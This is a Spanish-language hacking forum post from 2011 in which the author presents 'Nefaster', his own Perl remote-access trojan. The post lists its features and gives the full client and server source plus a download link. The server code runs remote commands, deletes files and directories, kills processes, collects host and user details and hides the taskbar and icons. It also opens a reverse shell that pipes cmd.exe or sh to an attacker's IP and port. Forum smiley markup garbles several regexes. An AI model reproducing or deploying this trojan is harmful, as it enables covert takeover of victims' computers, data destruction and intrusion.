[Perl] Nefaster

  • 0 Respuestas
  • 1327 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] Nefaster

  • en: Julio 03, 2011, 09:47:59 pm
Bueno es es mi troyano Nefaster , en esta version le arregle varias cosas que pasare a detallar

  • Mostrar Informacion[/li]

  • Navegador de archivos[/li]

  • Cambiar directorio de navegacion[/li]
  • Crear archivo[/li]
  • Borrar archivo[/li]
  • Borrar directorio[/li]
  • Reproducir musica o videos poniendo la ruta en la opcion[/li]
  • Parar reproduccion[/li]

  • Abrir lectora de CD[/li]
  • Cerrar lectora de CD[/li]
  • Puertos abiertos[/li]
  • Mensaje[/li]
  • Ejecutar comandos[/li]
  • Esconder barra de tareas[/li]
  • Devolver barra de tareas[/li]
  • Esconder iconos del escritorio[/li]
  • Devolver iconos del escritorio[/li]
  • Administrar procesos con posibilidad de cerrar el que quieran[/li]
  • Reverse Shell si es que quieren ejecutar comandos de forma mas comoda[/li][/list]


    El codigo del cliente es este

    Código: Perl
    1. #!usr/bin/perl
    2. #Nefester (Cliente) 0.1 By Doddy H
    3.  
    4.  
    5. use IO::Socket;
    6. use Cwd;
    7.  
    8. &menu;
    9.  
    10. sub head {
    11.  
    12. system 'cls';
    13.  
    14.  
    15.  
    16.             E      F                   TT    E        
    17. NNNNNNNEEEEEE FFFFFF   AAA   SSSSSTTTTTTEEEEEE RRRRRR
    18.  NN NN  E EE   FFFF   A AA  S  S T TT T  E EE   RRRRR
    19.  NNNNN  E EE   FF F   AAAAA S     T TT   E EE   RR  R
    20.  NNNNN EEEEE  FFFFF  AAA AA  SSS S  TT  EEEEE  RRRRR  
    21.  NNNNN  E EEE  FFF    AAAAA S  SSS  TT   E EEE  RR R  
    22.  NN NN  EEEE E FF    AAA AA SS  SS  TT   EEEE E RR  R
    23. NNN NN EEEEEEEFFFF  AAA  AAA  SSS  TTTT EEEEEEE RRR RR
    24.                             SS                 R   R  
    25.  
    26.  
    27.  
    28. );
    29.  
    30. }
    31.  
    32. sub menu {
    33.  
    34. &head;
    35.  
    36. print "[Target] : ";
    37. chomp(my $ip = <STDIN>);
    38.  
    39.  
    40.  
    41. my $socket = new IO::Socket::INET(
    42. PeerAddr => $ip,
    43. PeerPort => 666,
    44. Proto => 'tcp',
    45. Timeout  => 5
    46. );
    47.  
    48. if ($socket) {
    49. $socket->close;
    50. &menuo($ip);
    51. } else {
    52. print "\n\n[-] Target no infectado\n";
    53. <STDIN>;
    54. &menu;
    55. }
    56.  
    57. }
    58.  
    59. sub menuo {
    60.  
    61. &head;
    62.  
    63. print "[$_[0]] : Servidor Activado\n\n";
    64. 1 : Informacion
    65. 2 : Navegador
    66. 3 : Abrir CD
    67. 4 : Cerrar CD
    68. 5 : Puertos abiertos
    69. 6 : Mensaje
    70. 7 : CMD
    71. 8 : Esconder barra de tareas
    72. 9 : Devolver barra de tareas
    73. 10 : Esconder iconos
    74. 11 : Devolver iconos
    75. 12 : Administrar procesos
    76. 13 : Reverse Shell
    77. 14 : Cambiar IP
    78. 15 : Salir
    79.  
    80.  
    81. );
    82. print "[Opcion] : ";
    83. chomp(my $opcion = <STDIN>);
    84.  
    85.  
    86. if ($opcion eq 1) {
    87. print "\n\n</li><li type="square"> Informacion\n\n";[/li][/list]
    88. $re = daryrecibir($_[0],"infor");
    89. if ($re=~/:(.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/) {
    90. print "[Dominio] : $1\n";
    91. print "[Chip] : $2\n";  
    92. print "[Version] : $3\n";  
    93. print "[Nombre] : $4\n";  
    94. print "[OS] : $5\n";
    95. <stdin>;
    96. }
    97. &menuo($_[0]);
    98. }
    99. elsif ($opcion eq 2) {
    100.  
    101. menu1:
    102. print "\n\n</li><li type="square"> Navegacion de archivos\n\n";[/li][/list]
    103. $cwd = daryrecibir($_[0],"getcwd"."\r\n");
    104. print "tengo $cwd\n";
    105. show($_[0],"/");
    106. &menu2;
    107.  
    108. sub menu2 {
    109. print "\n\n[Opciones]\n\n";
    110. print "1 - Cambiar directorio\n";
    111. print "2 - Crear archivo\n";
    112. print "3 - Borrar archivo\n";
    113. print "4 - Borrar directorio\n";
    114. print "5 - Reproducir musica\n";
    115. print "6 - Parar reproduccion\n";
    116. print "7 - Volver al menu inicial\n\n";
    117. print "[Opcion] : ";
    118. chomp(my $op = <stdin>);
    119.  
    120. if ($op eq 1) {
    121. print "\n\n</li><li type="square"> Directorio : ";[/li][/list]
    122. chomp (my $dir=<stdin>);
    123. $ver = daryrecibir($_[0],"chdirnow K0BRA".$dir."K0BRA");
    124. if ($ver=~/ok/ig) {
    125. print "\n\n</li><li type="square"> Directory changed\n\n";[/li][/list]
    126. }
    127. show($_[0],$dir);
    128. &menu2;
    129. <stdin>;
    130. }
    131.  
    132. elsif ($op eq 2) {
    133.  
    134. print "\n\n[Nombre] : ";
    135. chomp(my $name = <stdin>);
    136. print "\n\n[Contenido] : ";
    137. chomp(my $code = <stdin>);
    138.  
    139. daryrecibir($_[0],"crearnow K0BRA".$name."K0BRA ACATOY".$code."ACATOY");
    140.  
    141. print "\n\n</li><li type="square"> Archivo creado \n\n";[/li][/list]
    142. <stdin>;
    143. }
    144. elsif ($op eq 3) {
    145. print "\n\n[Archivo a borrar] : ";
    146. chomp(my $file = <stdin>);
    147. $re = daryrecibir($_[0],"borrarfile K0BRA".$file."K0BRA");
    148. if ($re=~/ok/) {
    149. print "\n\n</li><li type="square"> Archivo Borrado\n\n";[/li][/list]
    150. } else {
    151. print "\n\n[-] Error\n\n";
    152. }
    153. <stdin>;
    154. }
    155.  
    156. elsif ($op eq 4) {
    157. print "\n\n[Directorio a borrar] : ";
    158. chomp(my $file = <stdin>);
    159. $re = daryrecibir($_[0],"borrardir K0BRA".$file."K0BRA");
    160. if ($re=~/ok/) {
    161. print "\n\n</li><li type="square"> Directorio Borrado\n\n";[/li][/list]
    162. } else {
    163. print "\n\n[-] Error\n\n";
    164. }
    165. <stdin>;
    166. }
    167.  
    168. elsif ($op eq 5) {
    169. print "\n\n[Archivo] : ";
    170. chomp(my $file = <stdin>);
    171. print "\n\n</li><li type="square"> Reproduciendo\n\n";[/li][/list]
    172. daryrecibir($_[0],"playmusic K0BRA".$file."K0BRA");
    173. <stdin>;
    174. }
    175. elsif ($op eq 6) {
    176. print "\n\n</li><li type="square"> Reproduccion detenida\n\n";[/li][/list]
    177. daryrecibir($_[0],"pararmusic");
    178. <stdin>;
    179. }
    180. elsif ($op eq 7) {
    181. &menuo($_[0]);
    182. }
    183. else {
    184. show($_[0],"/");
    185. }
    186. goto menu1;
    187. }
    188. }
    189.  
    190. elsif ($opcion eq 3) {
    191. daryrecibir($_[0],"opencd");
    192. &menuo($_[0]);
    193. }
    194.  
    195. elsif ($opcion eq 4) {
    196. daryrecibir($_[0],"closedcd");
    197. &menuo($_[0]);
    198. }
    199.  
    200. elsif ($opcion eq 5) {
    201. print "\n[Puertos Abiertos]\n\n";
    202. $re = daryrecibir($_[0],"porters");
    203. while ($re=~/:(.*?):/ig) {
    204. if ($1 ne "") {
    205. print "</li><li type="square"> $1\n";[/li][/list]
    206. }
    207. }
    208. <stdin>;
    209. &menuo($_[0]);
    210. }
    211. elsif ($opcion eq 6) {
    212. print "\n[Mensaje] : ";
    213. chomp (my $msg = <stdin>);
    214. daryrecibir($_[0],"msgbox $msg");
    215. <stdin>;
    216. &menuo($_[0]);
    217. }
    218. elsif ($opcion eq 7) {
    219.  
    220. menu:
    221.  
    222. my $cmd,$re;
    223.  
    224. print "\n\n>";
    225.  
    226. chomp(my $cmd= <stdin>);
    227.  
    228. if ($cmd=~/exit/ig) {
    229. &menuo($_[0]);
    230. }
    231.  
    232. $re = daryrecibir($_[0],"comando :$cmd:");
    233. print "\n".$re;
    234. goto menu;
    235. &menuo($_[0]);
    236. }
    237. elsif ($opcion eq <img src="https://underc0de.org/foro/Smileys/default/cool.gif" alt="8&#41;" title="Cool" class="smiley" /> {
    238. daryrecibir($_[0],"iniciochau");
    239. &menuo($_[0]);
    240. }
    241. elsif ($opcion eq 9) {
    242. daryrecibir($_[0],"iniciovuelve");
    243. &menuo($_[0]);
    244. }
    245. elsif ($opcion eq 10) {
    246. daryrecibir($_[0],"iconochau");
    247. &menuo($_[0]);
    248. }
    249. elsif ($opcion eq 11) {
    250. daryrecibir($_[0],"iconovuelve");
    251. &menuo($_[0]);
    252. }
    253.  
    254. elsif ($opcion eq 12) {
    255.  
    256. &reload($_[0]);
    257.  
    258. sub reload {
    259.  
    260. my @pro;
    261. my @pids;
    262.  
    263. my $sockex = new IO::Socket::INET(
    264. PeerAddr => $_[0],
    265. PeerPort => 666,
    266. Proto => 'tcp',
    267. Timeout  => 5
    268. );
    269.  
    270. print $sockex "mostrarpro"."\r\n";
    271. $sockex->read($re,5000);
    272. $sockex->close;
    273.  
    274. chomp $re;
    275.  
    276. print "\n\n</li><li type="square"> Procesos encontrados\n\n";[/li][/list]
    277.  
    278. while ($re=~/PROXEC(.*?)PROXEC/ig) {
    279. if ($1 ne "") {
    280. push(@pro,$1);
    281. }
    282. }
    283.  
    284. while ($re=~/PIDX(.*?)PIDX/ig) {
    285. if ($1 ne "") {
    286. push(@pids,$1);
    287. }
    288. }
    289.  
    290. $cantidad = int(@pro);
    291.  
    292. for my $num(1..$cantidad) {
    293. if ($pro[$num] ne "") {
    294. print "\n</li><li type="square"> Proceso : ".$pro[$num]."\n";[/li][/list]
    295. print "</li><li type="square"> PIDS : ".$pids[$num]."\n"; [/li][/list]
    296. }
    297. }
    298.  
    299.  
    300. [Opciones]
    301.  
    302.  
    303. 1 - Refrescar lista
    304. 2 - Cerrar procesos
    305. 3 - Volver al menu
    306.  
    307. );
    308.  
    309. print "\n[Opcion] :  ";
    310. chomp(my $opc = <stdin>);
    311.  
    312. if ($opc=~/1/ig) {
    313. &reload($_[0]);
    314. }
    315. elsif($opc=~/2/ig) {
    316. print "\n</li><li type="square"> Write the name of the process : ";[/li][/list]
    317. chomp(my $numb = <stdin>);
    318. print "\n</li><li type="square"> Write the PID of the process : ";[/li][/list]
    319. chomp(my $pid = <stdin>);
    320. $re = daryrecibir($_[0],"chauproce K0BRA".$pid."K0BRA".$numb."K0BRA");
    321. if ($re=~/ok/ig) {
    322. print "\n\n</li><li type="square"> Proceso cerrado\n\n";[/li][/list]
    323. } else {
    324. print "\n\n[-] Error\n\n";
    325. }
    326. <stdin>;
    327. &reload($_[0]);
    328. }
    329. elsif($opc=~/3/ig) {
    330. &menuo($_[0]);
    331. }
    332. else {
    333. &reload;
    334. }
    335. }
    336. }
    337.  
    338. elsif ($opcion eq 13) {
    339. print "\n\n[IP] : ";
    340. chomp(my $ip = <stdin>);
    341. print "\n\n[Port] : ";
    342. chomp(my $port = <stdin>);
    343. print "\n\n</li><li type="square"> Connected !!!\n\n";[/li][/list]
    344. $re = daryrecibir($_[0],"backshell :$ip:$port:");
    345. }
    346. elsif ($opcion eq 14) {
    347. &menu;
    348. }
    349. elsif ($opcion eq 15) {
    350. exit 1;
    351. }  
    352. else {
    353. &menuo;
    354. }
    355. }
    356.  
    357. sub daryrecibir {
    358.  
    359. my $sockex = new IO::Socket::INET(
    360. PeerAddr => $_[0],
    361. PeerPort => 666,
    362. Proto => 'tcp',
    363. Timeout  => 5
    364. );
    365.  
    366. print $sockex $_[1]."\r\n";
    367. $sockex->read($re,5000);
    368. $sockex->close;
    369. return $re."\r";
    370. }
    371.  
    372. sub show {
    373.  
    374. my $re = daryrecibir($_[0],"getcwd"."\r\n");
    375. print "\n\n</li><li type="square"> Directorio Actual : $re\n\n";[/li][/list]
    376. $re1 = daryrecibir($_[0],"dirnow ACATOY".$re."ACATOY"."\r\n");
    377. print "\n\n[Directorios]\n\n";
    378.  
    379. while ($re1=~/DIREX(.*?)DIREX/ig) {
    380. if ($1 ne "") {
    381. print "</li><li type="square"> $1\n";[/li][/list]
    382. }
    383. }
    384.    
    385. print "\n\n[Archivos]\n\n";
    386.  
    387. while ($re1=~/FILEX(.*?)FILEX/ig) {
    388. if ($1 ne "") {
    389. print "</li><li type="square"> $1\n";[/li][/list]
    390. }
    391. }
    392.  
    393. }
    394.  
    395. #
    396. # ¿ The End ?
    397. #
    398.  

    Y el server

    Código: Perl
    1.  
    2. #!/usr/bin/perl
    3. #Nefester (sERVidor) 0.1 By Doddy H
    4. #Compilar con perl2exe para sacar consola
    5.  
    6. use IO::Socket;
    7. use Socket;
    8. use Win32;
    9. use Cwd;
    10. use Win32::MediaPlayer;
    11. use Win32::Process::List;
    12. use Win32::Process;
    13. use Win32::API;
    14.  
    15. use constant SW_HIDE => 0;
    16. use constant SW_SHOWNORMAL => 1;
    17.  
    18. my $a = new Win32::API('user32', 'FindWindow', 'PP', 'N');
    19. my $b = new Win32::API('user32', 'ShowWindow', 'NN', 'N');
    20.  
    21. $test = new Win32::MediaPlayer;
    22.  
    23. my $sock = IO::Socket::INET->new(LocalPort => 666,
    24. Listen => 10,
    25. Proto => 'tcp',
    26. Reuse => 1);
    27.  
    28. print "online\n";
    29.  
    30. while (my $con = $sock->accept){
    31. $resultado = <$con>;
    32. print "boludo mando : $resultado\n";
    33.  
    34. if ($resultado=~/msgbox (.*)/ig) {
    35. Win32::MsgBox($1,0,"Mensaje de Dios")
    36. }
    37.  
    38. if ($resultado=~/backshell <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig) {
    39.  
    40. my ($ip,$port) = ($1,$2);
    41.  
    42. print "conectando $ip con $port\n";
    43.  
    44. $ip =~s/(\s)+$//;
    45. $port =~s/(\s)+$//;
    46.  
    47. conectar($ip,$port);
    48. tipo();
    49.  
    50. sub conectar {
    51. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
    52. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
    53. open (STDIN,">&REVERSE");
    54. open (STDOUT,">&REVERSE");
    55. open (STDERR,">&REVERSE");
    56. }
    57.  
    58. sub tipo {
    59. print "\n</li><li type="disc"> Reverse Shell Starting...\n\n";[/li][/list]
    60. if ($^O =~/Win32/ig) {
    61. infowin();
    62. system("cmd.exe");
    63. } else {
    64. infolinux();
    65. #root();  
    66. system("export TERM=xterm;exec sh -i");
    67. }
    68. }
    69.  
    70. sub infowin {
    71. print "</li><li type="square"> Domain Name : ".Win32::DomainName()."\n";[/li][/list]
    72. print "</li><li type="square"> OS Version : ".Win32::GetOSName()."\n";[/li][/list]
    73. print "</li><li type="square"> Username : ".Win32::LoginName()."\n\n\n";[/li][/list]
    74. }
    75.  
    76. sub infolinux {
    77. print "</li><li type="square"> System information\n\n";[/li][/list]
    78. system("uname -a");
    79. print "\n\n";
    80. }
    81.  
    82.  
    83. }
    84.  
    85. if ($resultado =~/opencd/ig) {
    86.  
    87. use Win32::API;
    88.  
    89. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
    90. my $rta = ' ' x 127;  
    91. $ventana->Call('set CDAudio door open', $rta, 127, 0);
    92. print $con "ok"."\r\n";  
    93. }
    94.  
    95. if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
    96.  
    97. my ($pid,$numb) = ($1,$2);
    98.  
    99. $pid=~s/(\s)+$//;
    100. $numb=~s/(\s)+$//;
    101.  
    102. if (Win32::Process::KillProcess($pid,$numb)) {
    103. print $con "ok\r\n";
    104. }
    105. }
    106.  
    107. if ($resultado =~/closedcd/ig) {
    108.  
    109. use Win32::API;
    110.  
    111. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
    112. my $rta = ' ' x 127;  
    113. $ventana->Call('set CDAudio door closed', $rta, 127, 0);
    114. print $con "ok"."\r\n";  
    115. }
    116.  
    117. if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
    118.  
    119. my $filex = $1;
    120.  
    121. $filex =~s/(\s)+$//;
    122.  
    123. print getcwd()."/".$filex."\n\n";
    124.  
    125. if (unlink(getcwd()."/".$filex)) {
    126. print $con "ok\r\n";
    127. }
    128.  
    129. }
    130.  
    131.  
    132.  
    133. if ($resultado=~/infor/ig) {
    134. print "mando";  
    135. use Win32;
    136.  
    137.  
    138. my $domain = Win32::DomainName();
    139. my $chip = Win32::GetChipName();
    140. my $version = Win32::GetOSVersion();
    141. my $nombre = Win32::LoginName();
    142. my  $os = Win32::GetOSName();
    143.  
    144. print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
    145. }
    146.  
    147.  
    148. if ($resultado=~/porters/ig) {
    149.  
    150. use Net::Netstat::Wrapper;
    151.  
    152. $por = "";
    153. @ports = Net::Netstat::Wrapper->only_port();
    154. for(@ports) {
    155. $por = $por.":".$_;
    156. }
    157. print $con $por."\r\n";
    158. }
    159.  
    160.  
    161. if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
    162.  
    163. my $cancion = $1;
    164.  
    165. $cancion =~s/(\s)+$//;
    166.  
    167. $test->load($cancion);
    168. $test->play;  
    169.  
    170. }
    171.  
    172. if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
    173.  
    174. my $dir = $1;
    175. $dir =~s/(\s)+$//;
    176.  
    177.  
    178. if (chdir($dir)) {
    179. print $con "ok\r\n";
    180. }
    181.  
    182. }
    183.  
    184. if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
    185.  
    186. my $veox = $1;
    187. $veox =~s/(\s)+$//;
    188.  
    189. if (rmdir(getcwd()."/".$veox)) {
    190. print $con "ok\r\n";
    191. }
    192. }
    193.  
    194.  
    195.  
    196. if ($resultado=~/pararmusic/ig) {
    197. $test->close;
    198. }
    199.  
    200.  
    201.  
    202. if ($resultado=~/dirnow ACATOY(.*)/ig) {
    203.  
    204. my $real = $1;
    205. chomp $real;
    206.  
    207. $real =~s/(\s)+$//;
    208.  
    209. print "real $real\n\n";
    210.  
    211. my @archivos = coleccionar($real);
    212.  
    213. for (@archivos) {
    214. print $_."\n";
    215. my $todo = $real."/".$_;
    216.  
    217. print $todo."\n";
    218.  
    219. if (-f $todo) {
    220. print $con "FILEX".$_."FILEX"."\r\n";
    221. print "File : ".$_."\n";
    222. }
    223.  
    224. if (-d $todo) {
    225. print $con "DIREX".$_."DIREX"."\r\n";
    226. print "Dir : ".$_."\n";
    227. }
    228.  
    229. }
    230. }
    231.  
    232. sub coleccionar {
    233. opendir DIR,$_[0];
    234. my @archivos = readdir DIR;
    235. close DIR;
    236. return @archivos;
    237. }
    238.  
    239. if ($resultado=~/getcwd/ig) {
    240. print "envie ".getcwd()."\n\n";
    241. print $con getcwd()."\r\n";
    242. }
    243.  
    244.  
    245. if ($resultado=~/mostrarpro/ig) {
    246.  
    247.  
    248. my $new = Win32::Process::List->new();  
    249. my %process = $new->GetProcesses();
    250. for my $pid (keys %process) {
    251. print $con "PROXEC".$process{$pid}."PROXEC\r\n";
    252. print $con "PIDX".$pid."PIDX\r\n";
    253.  
    254. }
    255.  
    256.  
    257. }
    258.  
    259. if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
    260. my $name = $1;
    261. my $file = $2;
    262.  
    263. chomp $name;
    264. chomp $file;
    265.  
    266. $name =~s/(\s)+$//;
    267. $file =~s/(\s)+$//;
    268.  
    269. print "name is $name end\n";
    270. print "file is $file end\n";
    271.  
    272. open FILE,">>".$name;
    273. print FILE $file."\n";
    274. close FILE;
    275. }
    276.  
    277. if ($resultado=~/comando <img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*):/ig) {
    278. print "llego comando $1\n";
    279. print $resultado;
    280. my $temp = qx($1);
    281. print $con $temp."\r";
    282. }
    283.  
    284. if ($resultado=~/iniciochau/g) {
    285. inicio_chau("Shell_TrayWnd");
    286. }
    287. if ($resultado=~/iniciovuelve/g) {
    288. inicio_vuelve("Shell_TrayWnd");
    289. } else {
    290. print $resultado;
    291. }
    292. if ($resultado=~/iconovuelve/g) {
    293. icono_vuelve("Program Manager");
    294. }
    295. if ($resultado=~/iconochau/g) {
    296. icono_chau("Program Manager");
    297. }
    298.  
    299.  
    300. sub icono_vuelve {
    301. $handle = $a->Call(0,$_[0]);
    302. $b->Call($handle,SW_SHOWNORMAL);
    303.  
    304. }
    305.  
    306. sub icono_chau {
    307.  
    308. $handle = $a->Call(0,$_[0]);
    309. $b->Call($handle,SW_HIDE);
    310.  
    311. }
    312.  
    313. sub inicio_vuelve {
    314. $handlex = $a->Call($_[0],0);
    315. $b->Call($handlex,SW_SHOWNORMAL);
    316.  
    317. }
    318.  
    319. sub inicio_chau {
    320.  
    321. $handlea = $a->Call($_[0],0);
    322. $b->Call($handlea,SW_HIDE);
    323.  
    324. }
    325.  
    326.  
    327. }
    328.  
    329.  
    330. # ¿ The End ?
    331.  


    Si lo quieren descargar desde sourceforge

    Código: [Seleccionar]
    https://sourceforge.net/projects/nefaster/
« Última modificación: Marzo 14, 2015, 10:04:02 am por Expermicid »

 

Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

Respuestas: 2
Vistas: 5331
Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

Respuestas: 1
Vistas: 3474
Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

Respuestas: 0
Vistas: 2446
Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
Funciones más utilizadas en la programación de un perl script

Iniciado por Dragora

Respuestas: 0
Vistas: 4374
Último mensaje Enero 06, 2019, 01:01:06 am
por Dragora
[Perl] Search in google for scan SQLI

Iniciado por BigBear

Respuestas: 0
Vistas: 2599
Último mensaje Julio 03, 2011, 09:49:49 pm
por BigBear